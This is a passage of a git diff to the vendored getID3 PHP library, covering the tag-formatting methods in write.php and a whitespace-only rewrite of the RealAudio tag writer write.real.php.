                              '; + } + break; + + case 'real': + $real_writer = new getid3_write_real; + $real_writer->filename = $this->filename; + if (($success = $real_writer->RemoveReal()) === false) { + $this->errors[] = 'RemoveReal() failed with message(s):
                              • '.trim(implode('
                              • ', $real_writer->errors)).'
                              '; + } + break; + + default: + $this->errors[] = 'Invalid tag format to delete: "'.$DeleteTagFormat.'"'; + return false; + } + if (!$success) { + return false; + } + } + return true; + } + + /** + * @param string $TagFormat + * @param array $tag_data + * + * @return bool + * @throws Exception + */ + public function MergeExistingTagData($TagFormat, &$tag_data) { + // Merge supplied data with existing data, if requested + if ($this->overwrite_tags) { + // do nothing - ignore previous data + } else { + throw new Exception('$this->overwrite_tags=false is known to be buggy in this version of getID3. Check http://github.com/JamesHeinrich/getID3 for a newer version.'); +// if (!isset($this->ThisFileInfo['tags'][$TagFormat])) { +// return false; +// } +// $tag_data = array_merge_recursive($tag_data, $this->ThisFileInfo['tags'][$TagFormat]); + } + return true; + } + + /** + * @return array + */ + public function FormatDataForAPE() { + $ape_tag_data = array(); + foreach ($this->tag_data as $tag_key => $valuearray) { + switch ($tag_key) { + case 'ATTACHED_PICTURE': + // ATTACHED_PICTURE is ID3v2 only - ignore + $this->warnings[] = '$data['.$tag_key.'] is assumed to be ID3v2 APIC data - NOT written to APE tag'; + break; + + default: + foreach ($valuearray as $key => $value) { + if (is_string($value) || is_numeric($value)) { + $ape_tag_data[$tag_key][$key] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $value); + } else { + $this->warnings[] = '$data['.$tag_key.']['.$key.'] is not a string value - all of $data['.$tag_key.'] NOT written to APE tag'; + unset($ape_tag_data[$tag_key]); + break; + } + } + break; + } + } + $this->MergeExistingTagData('ape', $ape_tag_data); + return $ape_tag_data; + } + + /** + * @return array + */ + public function FormatDataForID3v1() { + $tag_data_id3v1 = array(); + $tag_data_id3v1['genreid'] = 255; + if (!empty($this->tag_data['GENRE'])) { + foreach ($this->tag_data['GENRE'] as $key => $value) { + if (getid3_id3v1::LookupGenreID($value) !== false) { + $tag_data_id3v1['genreid'] = getid3_id3v1::LookupGenreID($value); + break; + } + } + } + $tag_data_id3v1['title'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['TITLE'] ) ? $this->tag_data['TITLE'] : array()))); + $tag_data_id3v1['artist'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['ARTIST'] ) ? $this->tag_data['ARTIST'] : array()))); + $tag_data_id3v1['album'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['ALBUM'] ) ? $this->tag_data['ALBUM'] : array()))); + $tag_data_id3v1['year'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['YEAR'] ) ? $this->tag_data['YEAR'] : array()))); + $tag_data_id3v1['comment'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['COMMENT'] ) ? $this->tag_data['COMMENT'] : array()))); + $tag_data_id3v1['track_number'] = intval(getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['TRACK_NUMBER']) ? $this->tag_data['TRACK_NUMBER'] : array())))); + if ($tag_data_id3v1['track_number'] <= 0) { + $tag_data_id3v1['track_number'] = ''; + } + + $this->MergeExistingTagData('id3v1', $tag_data_id3v1); + return $tag_data_id3v1; + } + + /** + * @param int $id3v2_majorversion + * + * @return array|false + */ + public function FormatDataForID3v2($id3v2_majorversion) { + $tag_data_id3v2 = array(); + + $ID3v2_text_encoding_lookup = array(); + $ID3v2_text_encoding_lookup[2] = array('ISO-8859-1'=>0, 'UTF-16'=>1); + $ID3v2_text_encoding_lookup[3] = array('ISO-8859-1'=>0, 'UTF-16'=>1); + $ID3v2_text_encoding_lookup[4] = array('ISO-8859-1'=>0, 'UTF-16'=>1, 'UTF-16BE'=>2, 'UTF-8'=>3); + foreach ($this->tag_data as $tag_key => $valuearray) { + $ID3v2_framename = getid3_write_id3v2::ID3v2ShortFrameNameLookup($id3v2_majorversion, $tag_key); + switch ($ID3v2_framename) { + case 'APIC': + foreach ($valuearray as $key => $apic_data_array) { + if (isset($apic_data_array['data']) && + isset($apic_data_array['picturetypeid']) && + isset($apic_data_array['description']) && + isset($apic_data_array['mime'])) { + $tag_data_id3v2['APIC'][] = $apic_data_array; + } else { + $this->errors[] = 'ID3v2 APIC data is not properly structured'; + return false; + } + } + break; + + case 'POPM': + if (isset($valuearray['email']) && + isset($valuearray['rating']) && + isset($valuearray['data'])) { + $tag_data_id3v2['POPM'][] = $valuearray; + } else { + $this->errors[] = 'ID3v2 POPM data is not properly structured'; + return false; + } + break; + + case 'GRID': + if ( + isset($valuearray['groupsymbol']) && + isset($valuearray['ownerid']) && + isset($valuearray['data']) + ) { + $tag_data_id3v2['GRID'][] = $valuearray; + } else { + $this->errors[] = 'ID3v2 GRID data is not properly structured'; + return false; + } + break; + + case 'UFID': + if (isset($valuearray['ownerid']) && + isset($valuearray['data'])) { + $tag_data_id3v2['UFID'][] = $valuearray; + } else { + $this->errors[] = 'ID3v2 UFID data is not properly structured'; + return false; + } + break; + + case 'TXXX': + foreach ($valuearray as $key => $txxx_data_array) { + if (isset($txxx_data_array['description']) && isset($txxx_data_array['data'])) { + $tag_data_id3v2['TXXX'][] = $txxx_data_array; + } else { + $this->errors[] = 'ID3v2 TXXX data is not properly structured'; + return false; + } + } + break; + + case '': + $this->errors[] = 'ID3v2: Skipping "'.$tag_key.'" because cannot match it to a known ID3v2 frame type'; + // some other data type, don't know how to handle it, ignore it + break; + + default: + // most other (text) frames can be copied over as-is + foreach ($valuearray as $key => $value) { + if (isset($ID3v2_text_encoding_lookup[$id3v2_majorversion][$this->tag_encoding])) { + // source encoding is valid in ID3v2 - use it with no conversion + $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = $ID3v2_text_encoding_lookup[$id3v2_majorversion][$this->tag_encoding]; + $tag_data_id3v2[$ID3v2_framename][$key]['data'] = $value; + } else { + // source encoding is NOT valid in ID3v2 - convert it to an ID3v2-valid encoding first + if ($id3v2_majorversion < 4) { + // convert data from other encoding to UTF-16 (with BOM) + // note: some software, notably Windows Media Player and iTunes are broken and treat files tagged with UTF-16BE (with BOM) as corrupt + // therefore we force data to UTF-16LE and manually prepend the BOM + $ID3v2_tag_data_converted = false; + if (/*!$ID3v2_tag_data_converted && */($this->tag_encoding == 'ISO-8859-1')) { + // great, leave data as-is for minimum compatability problems + $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 0; + $tag_data_id3v2[$ID3v2_framename][$key]['data'] = $value; + $ID3v2_tag_data_converted = true; + } + if (!$ID3v2_tag_data_converted && ($this->tag_encoding == 'UTF-8')) { + do { + // if UTF-8 string does not include any characters above chr(127) then it is identical to ISO-8859-1 + $value = (string) $value; // prevent warnings/errors if $value is a non-string (e.g. integer,float) + for ($i = 0; $i < strlen($value); $i++) { + if (ord($value[$i]) > 127) { + break 2; + } + } + $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 0; + $tag_data_id3v2[$ID3v2_framename][$key]['data'] = $value; + $ID3v2_tag_data_converted = true; + } while (false); + } + if (!$ID3v2_tag_data_converted) { + $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 1; + //$tag_data_id3v2[$ID3v2_framename][$key]['data'] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-16', $value); // output is UTF-16LE+BOM or UTF-16BE+BOM depending on system architecture + $tag_data_id3v2[$ID3v2_framename][$key]['data'] = "\xFF\xFE".getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-16LE', $value); // force LittleEndian order version of UTF-16 + $ID3v2_tag_data_converted = true; + } + + } else { + // convert data from other encoding to UTF-8 + $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 3; + $tag_data_id3v2[$ID3v2_framename][$key]['data'] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $value); + } + } + + // These values are not needed for all frame types, but if they're not used no matter + $tag_data_id3v2[$ID3v2_framename][$key]['description'] = ''; + $tag_data_id3v2[$ID3v2_framename][$key]['language'] = $this->id3v2_tag_language; + } + break; + } + } + $this->MergeExistingTagData('id3v2', $tag_data_id3v2); + return $tag_data_id3v2; + } + + /** + * @return array + */ + public function FormatDataForVorbisComment() { + $tag_data_vorbiscomment = $this->tag_data; + + // check for multi-line comment values - split out to multiple comments if neccesary + // and convert data to UTF-8 strings + foreach ($tag_data_vorbiscomment as $tag_key => $valuearray) { + foreach ($valuearray as $key => $value) { + if (($tag_key == 'ATTACHED_PICTURE') && is_array($value)) { + continue; // handled separately in write.metaflac.php + } else { + str_replace("\r", "\n", $value); + if (strstr($value, "\n")) { + unset($tag_data_vorbiscomment[$tag_key][$key]); + $multilineexploded = explode("\n", $value); + foreach ($multilineexploded as $newcomment) { + if (strlen(trim($newcomment)) > 0) { + $tag_data_vorbiscomment[$tag_key][] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $newcomment); + } + } + } elseif (is_string($value) || is_numeric($value)) { + $tag_data_vorbiscomment[$tag_key][$key] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $value); + } else { + $this->warnings[] = '$data['.$tag_key.']['.$key.'] is not a string value - all of $data['.$tag_key.'] NOT written to VorbisComment tag'; + unset($tag_data_vorbiscomment[$tag_key]); + break; + } + } + } + } + $this->MergeExistingTagData('vorbiscomment', $tag_data_vorbiscomment); + return $tag_data_vorbiscomment; + } + + /** + * @return array + */ + public function FormatDataForMetaFLAC() { + // FLAC & OggFLAC use VorbisComments same as OggVorbis + // but require metaflac to do the writing rather than vorbiscomment + return $this->FormatDataForVorbisComment(); + } + + /** + * @return array + */ + public function FormatDataForReal() { + $tag_data_real = array(); + $tag_data_real['title'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['TITLE'] ) ? $this->tag_data['TITLE'] : array()))); + $tag_data_real['artist'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['ARTIST'] ) ? $this->tag_data['ARTIST'] : array()))); + $tag_data_real['copyright'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['COPYRIGHT']) ? $this->tag_data['COPYRIGHT'] : array()))); + $tag_data_real['comment'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['COMMENT'] ) ? $this->tag_data['COMMENT'] : array()))); + + $this->MergeExistingTagData('real', $tag_data_real); + return $tag_data_real; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/write.real.php b/vendor/james-heinrich/getid3/getid3/write.real.php index 051eaa8d67..492cc4bb56 100644 --- a/vendor/james-heinrich/getid3/getid3/write.real.php +++ b/vendor/james-heinrich/getid3/getid3/write.real.php @@ -1,328 +1,328 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// write.real.php // -// module for writing RealAudio/RealVideo tags // -// dependencies: module.tag.real.php // -// /// -///////////////////////////////////////////////////////////////// - -class getid3_write_real -{ - /** - * @var string - */ - public $filename; - - /** - * @var array - */ - public $tag_data = array(); - - /** - * Read buffer size in bytes. - * - * @var int - */ - public $fread_buffer_size = 32768; - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - /** - * Minimum length of CONT tag in bytes. - * - * @var int - */ - public $paddedlength = 512; - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteReal() { - // File MUST be writeable - CHMOD(646) at least - if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'r+b'))) { - - // Initialize getID3 engine - $getID3 = new getID3; - $OldThisFileInfo = $getID3->analyze($this->filename); - if (empty($OldThisFileInfo['real']['chunks']) && !empty($OldThisFileInfo['real']['old_ra_header'])) { - $this->errors[] = 'Cannot write Real tags on old-style file format'; - fclose($fp_source); - return false; - } - - if (empty($OldThisFileInfo['real']['chunks'])) { - $this->errors[] = 'Cannot write Real tags because cannot find DATA chunk in file'; - fclose($fp_source); - return false; - } - $oldChunkInfo = array(); - foreach ($OldThisFileInfo['real']['chunks'] as $chunknumber => $chunkarray) { - $oldChunkInfo[$chunkarray['name']] = $chunkarray; - } - if (!empty($oldChunkInfo['CONT']['length'])) { - $this->paddedlength = max($oldChunkInfo['CONT']['length'], $this->paddedlength); - } - - $new_CONT_tag_data = $this->GenerateCONTchunk(); - $new_PROP_tag_data = $this->GeneratePROPchunk($OldThisFileInfo['real']['chunks'], $new_CONT_tag_data); - $new__RMF_tag_data = $this->GenerateRMFchunk($OldThisFileInfo['real']['chunks']); - - if (isset($oldChunkInfo['.RMF']['length']) && ($oldChunkInfo['.RMF']['length'] == strlen($new__RMF_tag_data))) { - fseek($fp_source, $oldChunkInfo['.RMF']['offset']); - fwrite($fp_source, $new__RMF_tag_data); - } else { - $this->errors[] = 'new .RMF tag ('.strlen($new__RMF_tag_data).' bytes) different length than old .RMF tag ('.$oldChunkInfo['.RMF']['length'].' bytes)'; - fclose($fp_source); - return false; - } - - if (isset($oldChunkInfo['PROP']['length']) && ($oldChunkInfo['PROP']['length'] == strlen($new_PROP_tag_data))) { - fseek($fp_source, $oldChunkInfo['PROP']['offset']); - fwrite($fp_source, $new_PROP_tag_data); - } else { - $this->errors[] = 'new PROP tag ('.strlen($new_PROP_tag_data).' bytes) different length than old PROP tag ('.$oldChunkInfo['PROP']['length'].' bytes)'; - fclose($fp_source); - return false; - } - - if (isset($oldChunkInfo['CONT']['length']) && ($oldChunkInfo['CONT']['length'] == strlen($new_CONT_tag_data))) { - - // new data length is same as old data length - just overwrite - fseek($fp_source, $oldChunkInfo['CONT']['offset']); - fwrite($fp_source, $new_CONT_tag_data); - fclose($fp_source); - return true; - - } else { - - if (empty($oldChunkInfo['CONT'])) { - // no existing CONT chunk - $BeforeOffset = $oldChunkInfo['DATA']['offset']; - $AfterOffset = $oldChunkInfo['DATA']['offset']; - } else { - // new data is longer than old data - $BeforeOffset = $oldChunkInfo['CONT']['offset']; - $AfterOffset = $oldChunkInfo['CONT']['offset'] + $oldChunkInfo['CONT']['length']; - } - if ($tempfilename = tempnam(GETID3_TEMP_DIR, 'getID3')) { - if (getID3::is_writable($tempfilename) && is_file($tempfilename) && ($fp_temp = fopen($tempfilename, 'wb'))) { - - rewind($fp_source); - fwrite($fp_temp, fread($fp_source, $BeforeOffset)); - fwrite($fp_temp, $new_CONT_tag_data); - fseek($fp_source, $AfterOffset); - while ($buffer = fread($fp_source, $this->fread_buffer_size)) { - fwrite($fp_temp, $buffer, strlen($buffer)); - } - fclose($fp_temp); - - if (copy($tempfilename, $this->filename)) { - unlink($tempfilename); - fclose($fp_source); - return true; - } - unlink($tempfilename); - $this->errors[] = 'FAILED: copy('.$tempfilename.', '.$this->filename.')'; - - } else { - $this->errors[] = 'Could not fopen("'.$tempfilename.'", "wb")'; - } - } - fclose($fp_source); - return false; - - } - - } - $this->errors[] = 'Could not fopen("'.$this->filename.'", "r+b")'; - return false; - } - - /** - * @param array $chunks - * - * @return string - */ - public function GenerateRMFchunk(&$chunks) { - $oldCONTexists = false; - $chunkNameKeys = array(); - foreach ($chunks as $key => $chunk) { - $chunkNameKeys[$chunk['name']] = $key; - if ($chunk['name'] == 'CONT') { - $oldCONTexists = true; - } - } - $newHeadersCount = $chunks[$chunkNameKeys['.RMF']]['headers_count'] + ($oldCONTexists ? 0 : 1); - - $RMFchunk = "\x00\x00"; // object version - $RMFchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['.RMF']]['file_version'], 4); - $RMFchunk .= getid3_lib::BigEndian2String($newHeadersCount, 4); - - $RMFchunk = '.RMF'.getid3_lib::BigEndian2String(strlen($RMFchunk) + 8, 4).$RMFchunk; // .RMF chunk identifier + chunk length - return $RMFchunk; - } - - /** - * @param array $chunks - * @param string $new_CONT_tag_data - * - * @return string - */ - public function GeneratePROPchunk(&$chunks, &$new_CONT_tag_data) { - $old_CONT_length = 0; - $old_DATA_offset = 0; - $old_INDX_offset = 0; - $chunkNameKeys = array(); - foreach ($chunks as $key => $chunk) { - $chunkNameKeys[$chunk['name']] = $key; - if ($chunk['name'] == 'CONT') { - $old_CONT_length = $chunk['length']; - } elseif ($chunk['name'] == 'DATA') { - if (!$old_DATA_offset) { - $old_DATA_offset = $chunk['offset']; - } - } elseif ($chunk['name'] == 'INDX') { - if (!$old_INDX_offset) { - $old_INDX_offset = $chunk['offset']; - } - } - } - $CONTdelta = strlen($new_CONT_tag_data) - $old_CONT_length; - - $PROPchunk = "\x00\x00"; // object version - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['max_bit_rate'], 4); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['avg_bit_rate'], 4); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['max_packet_size'], 4); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['avg_packet_size'], 4); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['num_packets'], 4); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['duration'], 4); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['preroll'], 4); - $PROPchunk .= getid3_lib::BigEndian2String(max(0, $old_INDX_offset + $CONTdelta), 4); - $PROPchunk .= getid3_lib::BigEndian2String(max(0, $old_DATA_offset + $CONTdelta), 4); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['num_streams'], 2); - $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['flags_raw'], 2); - - $PROPchunk = 'PROP'.getid3_lib::BigEndian2String(strlen($PROPchunk) + 8, 4).$PROPchunk; // PROP chunk identifier + chunk length - return $PROPchunk; - } - - /** - * @return string - */ - public function GenerateCONTchunk() { - foreach ($this->tag_data as $key => $value) { - // limit each value to 0xFFFF bytes - $this->tag_data[$key] = substr($value, 0, 65535); - } - - $CONTchunk = "\x00\x00"; // object version - - $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['title']) ? strlen($this->tag_data['title']) : 0), 2); - $CONTchunk .= (!empty($this->tag_data['title']) ? strlen($this->tag_data['title']) : ''); - - $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['artist']) ? strlen($this->tag_data['artist']) : 0), 2); - $CONTchunk .= (!empty($this->tag_data['artist']) ? strlen($this->tag_data['artist']) : ''); - - $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['copyright']) ? strlen($this->tag_data['copyright']) : 0), 2); - $CONTchunk .= (!empty($this->tag_data['copyright']) ? strlen($this->tag_data['copyright']) : ''); - - $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['comment']) ? strlen($this->tag_data['comment']) : 0), 2); - $CONTchunk .= (!empty($this->tag_data['comment']) ? strlen($this->tag_data['comment']) : ''); - - if ($this->paddedlength > (strlen($CONTchunk) + 8)) { - $CONTchunk .= str_repeat("\x00", $this->paddedlength - strlen($CONTchunk) - 8); - } - - $CONTchunk = 'CONT'.getid3_lib::BigEndian2String(strlen($CONTchunk) + 8, 4).$CONTchunk; // CONT chunk identifier + chunk length - - return $CONTchunk; - } - - /** - * @return bool - */ - public function RemoveReal() { - // File MUST be writeable - CHMOD(646) at least - if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'r+b'))) { - - // Initialize getID3 engine - $getID3 = new getID3; - $OldThisFileInfo = $getID3->analyze($this->filename); - if (empty($OldThisFileInfo['real']['chunks']) && !empty($OldThisFileInfo['real']['old_ra_header'])) { - $this->errors[] = 'Cannot remove Real tags from old-style file format'; - fclose($fp_source); - return false; - } - - if (empty($OldThisFileInfo['real']['chunks'])) { - $this->errors[] = 'Cannot remove Real tags because cannot find DATA chunk in file'; - fclose($fp_source); - return false; - } - $oldChunkInfo = array(); - foreach ($OldThisFileInfo['real']['chunks'] as $chunknumber => $chunkarray) { - $oldChunkInfo[$chunkarray['name']] = $chunkarray; - } - - if (empty($oldChunkInfo['CONT'])) { - // no existing CONT chunk - fclose($fp_source); - return true; - } - - $BeforeOffset = $oldChunkInfo['CONT']['offset']; - $AfterOffset = $oldChunkInfo['CONT']['offset'] + $oldChunkInfo['CONT']['length']; - if ($tempfilename = tempnam(GETID3_TEMP_DIR, 'getID3')) { - if (getID3::is_writable($tempfilename) && is_file($tempfilename) && ($fp_temp = fopen($tempfilename, 'wb'))) { - - rewind($fp_source); - fwrite($fp_temp, fread($fp_source, $BeforeOffset)); - fseek($fp_source, $AfterOffset); - while ($buffer = fread($fp_source, $this->fread_buffer_size)) { - fwrite($fp_temp, $buffer, strlen($buffer)); - } - fclose($fp_temp); - - if (copy($tempfilename, $this->filename)) { - unlink($tempfilename); - fclose($fp_source); - return true; - } - unlink($tempfilename); - $this->errors[] = 'FAILED: copy('.$tempfilename.', '.$this->filename.')'; - - } else { - $this->errors[] = 'Could not fopen("'.$tempfilename.'", "wb")'; - } - } - fclose($fp_source); - return false; - } - $this->errors[] = 'Could not fopen("'.$this->filename.'", "r+b")'; - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// write.real.php // +// module for writing RealAudio/RealVideo tags // +// dependencies: module.tag.real.php // +// /// +///////////////////////////////////////////////////////////////// + +class getid3_write_real +{ + /** + * @var string + */ + public $filename; + + /** + * @var array + */ + public $tag_data = array(); + + /** + * Read buffer size in bytes. + * + * @var int + */ + public $fread_buffer_size = 32768; + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + /** + * Minimum length of CONT tag in bytes. + * + * @var int + */ + public $paddedlength = 512; + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteReal() { + // File MUST be writeable - CHMOD(646) at least + if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'r+b'))) { + + // Initialize getID3 engine + $getID3 = new getID3; + $OldThisFileInfo = $getID3->analyze($this->filename); + if (empty($OldThisFileInfo['real']['chunks']) && !empty($OldThisFileInfo['real']['old_ra_header'])) { + $this->errors[] = 'Cannot write Real tags on old-style file format'; + fclose($fp_source); + return false; + } + + if (empty($OldThisFileInfo['real']['chunks'])) { + $this->errors[] = 'Cannot write Real tags because cannot find DATA chunk in file'; + fclose($fp_source); + return false; + } + $oldChunkInfo = array(); + foreach ($OldThisFileInfo['real']['chunks'] as $chunknumber => $chunkarray) { + $oldChunkInfo[$chunkarray['name']] = $chunkarray; + } + if (!empty($oldChunkInfo['CONT']['length'])) { + $this->paddedlength = max($oldChunkInfo['CONT']['length'], $this->paddedlength); + } + + $new_CONT_tag_data = $this->GenerateCONTchunk(); + $new_PROP_tag_data = $this->GeneratePROPchunk($OldThisFileInfo['real']['chunks'], $new_CONT_tag_data); + $new__RMF_tag_data = $this->GenerateRMFchunk($OldThisFileInfo['real']['chunks']); + + if (isset($oldChunkInfo['.RMF']['length']) && ($oldChunkInfo['.RMF']['length'] == strlen($new__RMF_tag_data))) { + fseek($fp_source, $oldChunkInfo['.RMF']['offset']); + fwrite($fp_source, $new__RMF_tag_data); + } else { + $this->errors[] = 'new .RMF tag ('.strlen($new__RMF_tag_data).' bytes) different length than old .RMF tag ('.$oldChunkInfo['.RMF']['length'].' bytes)'; + fclose($fp_source); + return false; + } + + if (isset($oldChunkInfo['PROP']['length']) && ($oldChunkInfo['PROP']['length'] == strlen($new_PROP_tag_data))) { + fseek($fp_source, $oldChunkInfo['PROP']['offset']); + fwrite($fp_source, $new_PROP_tag_data); + } else { + $this->errors[] = 'new PROP tag ('.strlen($new_PROP_tag_data).' bytes) different length than old PROP tag ('.$oldChunkInfo['PROP']['length'].' bytes)'; + fclose($fp_source); + return false; + } + + if (isset($oldChunkInfo['CONT']['length']) && ($oldChunkInfo['CONT']['length'] == strlen($new_CONT_tag_data))) { + + // new data length is same as old data length - just overwrite + fseek($fp_source, $oldChunkInfo['CONT']['offset']); + fwrite($fp_source, $new_CONT_tag_data); + fclose($fp_source); + return true; + + } else { + + if (empty($oldChunkInfo['CONT'])) { + // no existing CONT chunk + $BeforeOffset = $oldChunkInfo['DATA']['offset']; + $AfterOffset = $oldChunkInfo['DATA']['offset']; + } else { + // new data is longer than old data + $BeforeOffset = $oldChunkInfo['CONT']['offset']; + $AfterOffset = $oldChunkInfo['CONT']['offset'] + $oldChunkInfo['CONT']['length']; + } + if ($tempfilename = tempnam(GETID3_TEMP_DIR, 'getID3')) { + if (getID3::is_writable($tempfilename) && is_file($tempfilename) && ($fp_temp = fopen($tempfilename, 'wb'))) { + + rewind($fp_source); + fwrite($fp_temp, fread($fp_source, $BeforeOffset)); + fwrite($fp_temp, $new_CONT_tag_data); + fseek($fp_source, $AfterOffset); + while ($buffer = fread($fp_source, $this->fread_buffer_size)) { + fwrite($fp_temp, $buffer, strlen($buffer)); + } + fclose($fp_temp); + + if (copy($tempfilename, $this->filename)) { + unlink($tempfilename); + fclose($fp_source); + return true; + } + unlink($tempfilename); + $this->errors[] = 'FAILED: copy('.$tempfilename.', '.$this->filename.')'; + + } else { + $this->errors[] = 'Could not fopen("'.$tempfilename.'", "wb")'; + } + } + fclose($fp_source); + return false; + + } + + } + $this->errors[] = 'Could not fopen("'.$this->filename.'", "r+b")'; + return false; + } + + /** + * @param array $chunks + * + * @return string + */ + public function GenerateRMFchunk(&$chunks) { + $oldCONTexists = false; + $chunkNameKeys = array(); + foreach ($chunks as $key => $chunk) { + $chunkNameKeys[$chunk['name']] = $key; + if ($chunk['name'] == 'CONT') { + $oldCONTexists = true; + } + } + $newHeadersCount = $chunks[$chunkNameKeys['.RMF']]['headers_count'] + ($oldCONTexists ? 0 : 1); + + $RMFchunk = "\x00\x00"; // object version + $RMFchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['.RMF']]['file_version'], 4); + $RMFchunk .= getid3_lib::BigEndian2String($newHeadersCount, 4); + + $RMFchunk = '.RMF'.getid3_lib::BigEndian2String(strlen($RMFchunk) + 8, 4).$RMFchunk; // .RMF chunk identifier + chunk length + return $RMFchunk; + } + + /** + * @param array $chunks + * @param string $new_CONT_tag_data + * + * @return string + */ + public function GeneratePROPchunk(&$chunks, &$new_CONT_tag_data) { + $old_CONT_length = 0; + $old_DATA_offset = 0; + $old_INDX_offset = 0; + $chunkNameKeys = array(); + foreach ($chunks as $key => $chunk) { + $chunkNameKeys[$chunk['name']] = $key; + if ($chunk['name'] == 'CONT') { + $old_CONT_length = $chunk['length']; + } elseif ($chunk['name'] == 'DATA') { + if (!$old_DATA_offset) { + $old_DATA_offset = $chunk['offset']; + } + } elseif ($chunk['name'] == 'INDX') { + if (!$old_INDX_offset) { + $old_INDX_offset = $chunk['offset']; + } + } + } + $CONTdelta = strlen($new_CONT_tag_data) - $old_CONT_length; + + $PROPchunk = "\x00\x00"; // object version + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['max_bit_rate'], 4); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['avg_bit_rate'], 4); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['max_packet_size'], 4); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['avg_packet_size'], 4); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['num_packets'], 4); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['duration'], 4); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['preroll'], 4); + $PROPchunk .= getid3_lib::BigEndian2String(max(0, $old_INDX_offset + $CONTdelta), 4); + $PROPchunk .= getid3_lib::BigEndian2String(max(0, $old_DATA_offset + $CONTdelta), 4); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['num_streams'], 2); + $PROPchunk .= getid3_lib::BigEndian2String($chunks[$chunkNameKeys['PROP']]['flags_raw'], 2); + + $PROPchunk = 'PROP'.getid3_lib::BigEndian2String(strlen($PROPchunk) + 8, 4).$PROPchunk; // PROP chunk identifier + chunk length + return $PROPchunk; + } + + /** + * @return string + */ + public function GenerateCONTchunk() { + foreach ($this->tag_data as $key => $value) { + // limit each value to 0xFFFF bytes + $this->tag_data[$key] = substr($value, 0, 65535); + } + + $CONTchunk = "\x00\x00"; // object version + + $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['title']) ? strlen($this->tag_data['title']) : 0), 2); + $CONTchunk .= (!empty($this->tag_data['title']) ? strlen($this->tag_data['title']) : ''); + + $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['artist']) ? strlen($this->tag_data['artist']) : 0), 2); + $CONTchunk .= (!empty($this->tag_data['artist']) ? strlen($this->tag_data['artist']) : ''); + + $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['copyright']) ? strlen($this->tag_data['copyright']) : 0), 2); + 